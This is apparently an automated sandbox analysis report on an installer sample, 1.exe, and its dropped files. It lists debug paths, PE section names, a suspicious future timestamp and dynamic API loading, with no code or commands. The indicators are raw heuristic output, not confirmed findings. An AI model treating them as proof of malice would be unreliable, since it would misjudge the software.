Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net8.0\System.Collections.Concurrent.pdb source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384FD000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143781631.0000027538521000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\Users\Admin\Distributor\Installers Project\Generic\ConsoleApp1\obj\Release\net8.0\win-x64\ConsoleApp1.pdb source: MainSoftware.exe, 00000010.00000002.2139786896.000002349ED61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139740826.000002349ED57000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net8.0-windows\System.Net.NameResolution.pdb source: MainSoftware.exe, 00000010.00000002.2150696251.000002753B381000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2150453848.000002753B36D000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net8.0\System.Linq.pdb source: MainSoftware.exe, 00000010.00000002.2140001032.000002349EDF3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140127974.00000234A06D1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Text.Json.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143394007.00000275383E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143312727.000002753834C000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Linq.ni.pdb source: MainSoftware.exe, 00000010.00000002.2140001032.000002349EDF3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140127974.00000234A06D1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net8.0\System.Diagnostics.Tracing.pdb source: MainSoftware.exe, 00000010.00000002.2141976926.0000027536269000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142022174.0000027536271000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ComponentModel.EventBasedAsync.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142971155.0000027538262000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Numerics.Vectors\Release\net8.0\System.Numerics.Vectors.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2143681745.00000275384E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143619192.00000275384DC000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog/obj/Release/net8.0/Serilog.pdb source: MainSoftware.exe, 00000010.00000002.2140213322.00000234A0741000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140154271.00000234A070D000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: wininet.pdbUGP source: 1.exe, 00000004.00000003.1321424870.0000000009918000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517432545.000000000744C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Collections.ni.pdb source: MainSoftware.exe, 00000010.00000002.2139962633.000002349EDC9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139926749.000002349ED91000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2141840198.0000027536161000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141751848.00000275360B8000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Private.CoreLib.ni.pdb source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Private.Uri\Release\net8.0\System.Private.Uri.pdb source: MainSoftware.exe, 00000010.00000002.2142815364.0000027538167000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142869783.0000027538191000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net8.0-windows\System.Net.Primitives.pdb source: MainSoftware.exe, 00000010.00000002.2141954837.0000027536241000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141897499.000002753621B000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\Release\net8.0\System.Threading.pdb source: MainSoftware.exe, 00000010.00000002.2139484867.000002349EBE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142756269.000002753814B000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net8.0\System.Threading.Thread.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2142756269.0000027538140000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261474850.000002BDD0C91000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Security.Claims.ni.pdb source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2142592762.0000027537FB1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2143093774.00000275382B1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Ping.ni.pdb source: MainSoftware.exe, 00000010.00000002.2141897499.0000027536210000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ObjectModel\Release\net8.0\System.ObjectModel.pdb source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352B4000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\System.Private.CoreLib\x64\Release\System.Private.CoreLib.pdb source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352BE000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141123759.0000027535751000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Ping\Release\net8.0-windows\System.Net.Ping.pdbSHA256S source: MainSoftware.exe, 00000010.00000002.2141897499.0000027536210000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net8.0\System.Memory.pdb source: MainSoftware.exe, 00000010.00000002.2152351430.000002753B451000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151993346.000002753B43C000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/netstandard/Release/net8.0-windows/netstandard.pdb source: MainSoftware.exe, 00000010.00000002.2141619079.0000027536038000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141673495.0000027536061000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbp source: 1.exe, 00000004.00000003.1315095135.0000000009710000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\stubs\x86\ExternalUi.pdb source: 1.exe, 1.exe, 00000004.00000002.2258821783.0000000000B1B000.00000002.00000001.01000000.00000004.sdmp, 1.exe, 00000004.00000000.1278293993.0000000000B1B000.00000002.00000001.01000000.00000004.sdmp, 1.exe, 0000000B.00000002.2228034287.0000000000B1B000.00000002.00000001.01000000.00000004.sdmp, 1.exe, 0000000B.00000000.1506124351.0000000000B1B000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: System.Net.NameResolution.ni.pdb source: MainSoftware.exe, 00000010.00000002.2150696251.000002753B381000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2150453848.000002753B36D000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Claims\Release\net8.0\System.Security.Claims.pdb source: MainSoftware.exe, 00000010.00000002.2151555653.000002753B3F7000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151813644.000002753B411000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Diagnostics.DiagnosticSource.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142461937.0000027537EE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142367623.0000027537EB3000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Numerics.Vectors\Release\net8.0\System.Numerics.Vectors.pdb source: MainSoftware.exe, 00000010.00000002.2143681745.00000275384E1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143619192.00000275384DC000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Threading.ni.pdb source: MainSoftware.exe, 00000010.00000002.2139484867.000002349EBE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142756269.000002753814B000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Net/Release/net8.0-windows/System.Net.pdb source: MainSoftware.exe, 00000010.00000002.2143619192.00000275384D7000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog.Sinks.Http/obj/Release/netstandard2.1/Serilog.Sinks.Http.pdb source: MainSoftware.exe, 00000010.00000002.2141601509.0000027536021000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141547348.0000027536009000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\Users\Admin\Distributor\Bundle Project\MSIInstaller\obj\Release\net8.0\win-x64\linked\MSIInstaller.pdb source: 1.exe, 00000004.00000003.1588667153.000000000C542000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices\Release\net8.0\System.Runtime.InteropServices.pdb source: MainSoftware.exe, 00000010.00000002.2143143857.00000275382D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143093774.00000275382B5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Numerics/Release/net8.0-windows/System.Numerics.pdb source: MainSoftware.exe, 00000010.00000002.2140691802.00000275352B0000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384F5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.EventBasedAsync\Release\net8.0\System.ComponentModel.EventBasedAsync.pdb source: MainSoftware.exe, 00000010.00000002.2142971155.0000027538262000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.NetworkInformation.ni.pdb source: MainSoftware.exe, 00000010.00000002.2152851564.000002753B481000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2152469734.000002753B46A000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261226768.000002BDD0B11000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: #.Pdb source: 1.exe, 00000004.00000003.1588667153.000000000D14D000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000002.2143996373.0000027538601000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: wininet.pdb source: 1.exe, 00000004.00000003.1321424870.0000000009918000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 0000000B.00000003.1517432545.000000000744C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Text.Encodings.Web.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143527590.0000027538491000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143445237.000002753847A000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ShortcutFlags.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Collections.Concurrent.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384FD000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143781631.0000027538521000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142891564.0000027538203000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142946137.0000027538231000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.ComponentModel.Primitives.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142971155.0000027538269000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143023677.0000027538281000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NetworkInformation\Release\net8.0-windows\System.Net.NetworkInformation.pdb source: MainSoftware.exe, 00000010.00000002.2152851564.000002753B481000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2152469734.000002753B46A000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261226768.000002BDD0B11000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Private.Uri.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142815364.0000027538167000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142869783.0000027538191000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections\Release\net8.0\System.Collections.pdb source: MainSoftware.exe, 00000010.00000002.2139962633.000002349EDC9000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139926749.000002349ED91000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encoding/Release/net8.0-windows/System.Text.Encoding.pdb source: MainSoftware.exe, 00000010.00000002.2143445237.0000027538476000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\FileOperations.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\dlls\mscordac\mscordaccore.pdb source: 1.exe, 00000004.00000003.1588667153.000000000C3C1000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, MainSoftware.exe, 00000010.00000002.2167406026.00007FF7D9618000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Registry\Release\net8.0-windows\Microsoft.Win32.Registry.pdb source: MainSoftware.exe, 00000010.00000002.2143232066.0000027538317000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143295395.0000027538331000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdbSHA256 source: MainSoftware.exe, 00000010.00000002.2142559459.0000027537F61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142488273.0000027537F19000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdb source: MainSoftware.exe, 00000010.00000002.2142461937.0000027537EE1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142367623.0000027537EB3000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Collections.NonGeneric.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143077066.00000275382A1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143041301.0000027538291000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Threading.Timer/Release/net8.0-windows/System.Threading.Timer.pdb source: MainSoftware.exe, 00000010.00000002.2142756269.0000027538147000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net8.0-windows\System.Diagnostics.Process.pdb source: MainSoftware.exe, 00000010.00000002.2142891564.0000027538203000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142946137.0000027538231000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Debug/Release/net8.0-windows/System.Diagnostics.Debug.pdb source: MainSoftware.exe, 00000010.00000002.2142367623.0000027537EB0000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdb source: MainSoftware.exe, 00000010.00000002.2143935572.00000275385E2000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143966375.00000275385F1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Memory.ni.pdb source: MainSoftware.exe, 00000010.00000002.2152351430.000002753B451000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151993346.000002753B43C000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Primitives\Release\net8.0\Microsoft.Win32.Primitives.pdb source: MainSoftware.exe, 00000010.00000002.2143876894.00000275385C3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143920191.00000275385D1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Extensions.Configuration.Abstractions/Release/net7.0/Microsoft.Extensions.Configuration.Abstractions.pdb source: MainSoftware.exe, 00000010.00000002.2141698149.0000027536080000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141733839.00000275360A1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdb source: MainSoftware.exe, 00000010.00000002.2150780721.000002753B393000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151073254.000002753B3A1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/src/Serilog.Formatting.Compact/obj/Release/net8.0/Serilog.Formatting.Compact.pdb source: MainSoftware.exe, 00000010.00000002.2141475912.0000027535FE8000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141529603.0000027535FF1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdbSHA2560 source: MainSoftware.exe, 00000010.00000002.2143445237.0000027538472000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Security\Release\net8.0-windows\System.Net.Security.pdb source: MainSoftware.exe, 00000010.00000002.2142559459.0000027537F61000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142488273.0000027537F19000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\ShortcutFlags.pdbG source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: System.Security.Cryptography.ni.pdb source: MainSoftware.exe, 00000010.00000002.2142592762.0000027537FB6000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2142689155.0000027538081000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdb source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384F5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http.Json\Release\net8.0\System.Net.Http.Json.pdb source: MainSoftware.exe, 00000010.00000002.2143160448.00000275382EA000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143209931.0000027538301000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Runtime.InteropServices.ni.pdb source: MainSoftware.exe, 00000010.00000002.2143143857.00000275382D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143093774.00000275382B5000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net8.0\System.Linq.pdbSHA256R source: MainSoftware.exe, 00000010.00000002.2140001032.000002349EDF3000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2140127974.00000234A06D1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Extensions.Primitives/Release/net7.0/Microsoft.Extensions.Primitives.pdb source: MainSoftware.exe, 00000010.00000002.2140154271.00000234A0702000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\Prereq.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009885000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x64.Release\Corehost.Static\singlefilehost.pdb source: 1.exe, 00000004.00000003.1588667153.000000000BB96000.00000004.00000020.00020000.00000000.sdmp, MainSoftware.exe, 00000010.00000000.2065212179.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2167112591.00007FF7D943D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encodings.Web\Release\net8.0\System.Text.Encodings.Web.pdb source: MainSoftware.exe, 00000010.00000002.2143527590.0000027538491000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143445237.000002753847A000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdb source: MainSoftware.exe, 00000010.00000002.2141840198.0000027536161000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141751848.00000275360B8000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Primitives\Release\net8.0\System.ComponentModel.Primitives.pdb source: MainSoftware.exe, 00000010.00000002.2142971155.0000027538269000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143023677.0000027538281000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Sockets\Release\net8.0-windows\System.Net.Sockets.pdb source: MainSoftware.exe, 00000010.00000002.2143851076.0000027538581000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143804192.0000027538541000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Intrinsics\Release\net8.0\System.Runtime.Intrinsics.pdb source: MainSoftware.exe, 00000010.00000002.2143603521.00000275384C1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2143558064.00000275384B4000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000015.00000002.2261349602.000002BDD0C71000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Http.ni.pdb source: MainSoftware.exe, 00000010.00000002.2141840198.0000027536161000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141751848.00000275360B8000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net8.0\System.Runtime.pdb source: MainSoftware.exe, 00000010.00000002.2139801818.000002349ED73000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2139872986.000002349ED81000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Buffers/Release/net8.0-windows/System.Buffers.pdb source: MainSoftware.exe, 00000010.00000002.2143697931.00000275384F9000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009710000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Text.Encoding.Extensions\Release\net8.0\System.Text.Encoding.Extensions.pdb source: MainSoftware.exe, 00000010.00000002.2143445237.0000027538472000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\lzmaextractor.pdb source: 1.exe, 00000004.00000003.1315095135.0000000009710000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Principal.Windows\Release\net8.0-windows\System.Security.Principal.Windows.pdb source: MainSoftware.exe, 00000010.00000002.2151399807.000002753B3D1000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151185629.000002753B3B1000.00000002.00000001.00040000.0000000A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.ThreadPool\Release\net8.0\System.Threading.ThreadPool.pdbSHA2560 source: MainSoftware.exe, 00000010.00000002.2150780721.000002753B393000.00000002.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2151073254.000002753B3A1000.00000020.00000001.00040000.0000000A.sdmp
Source:	Binary string: System.Net.Primitives.ni.pdb source: MainSoftware.exe, 00000010.00000002.2141954837.0000027536241000.00000020.00000001.00040000.0000000A.sdmp, MainSoftware.exe, 00000010.00000002.2141897499.000002753621B000.00000002.00000001.00040000.0000000A.sdmp

PE file contains a valid data directory to section mapping

Source: 1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Binary contains a suspicious time stamp

Source: shiA18.tmp.4.dr

Static PE information: 0xC7FEC470 [Wed Apr 29 05:06:56 2076 UTC]

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\1.exe

Code function: 11_2_009C0430 LoadLibraryW,GetProcAddress,FreeLibrary,FreeLibrary,

11_2_009C0430

PE file contains sections with non-standard names

Source: 1.exe	Static PE information: section name: .didat
Source: 1.exe	Static PE information: section name: .fptable
Source: ShortcutFlags.dll.4.dr	Static PE information: section name: .fptable
Source: MainSoftware.exe.4.dr	Static PE information: section name: .CLR_UEF
Source: MainSoftware.exe.4.dr	Static PE information: section name: .didat
Source: MainSoftware.exe.4.dr	Static PE information: section name: Section
Source: MainSoftware.exe.4.dr	Static PE information: section name: _RDATA
Source: SoftwareDistributor.exe.4.dr	Static PE information: section name: .CLR_UEF
Source: SoftwareDistributor.exe.4.dr	Static PE information: section name: .didat
Source: SoftwareDistributor.exe.4.dr	Static PE information: section name: Section
Source: SoftwareDistributor.exe.4.dr	Static PE information: section name: _RDATA
Source: MSICFE.tmp.4.dr	Static PE information: section name: .fptable
Source: MSID4D.tmp.4.dr	Static PE information: section name: .fptable
Source: shiA18.tmp.4.dr	Static PE information: section name: .wpp_sf
Source: shiA18.tmp.4.dr	Static PE information: section name: .didat
Source: MSIAC4.tmp.4.dr	Static PE information: section name: .fptable
Source: MSIB81.tmp.4.dr	Static PE information: section name: .fptable
Source: MSIBE0.tmp.4.dr	Static PE information: section name: .fptable
Source: MSIC2F.tmp.4.dr	Static PE information: section name: .fptable
Source: MSIC5F.tmp.4.dr	Static PE information: section name: .fptable
Source: MSIC9E.tmp.4.dr	Static PE information: section name: .fptable
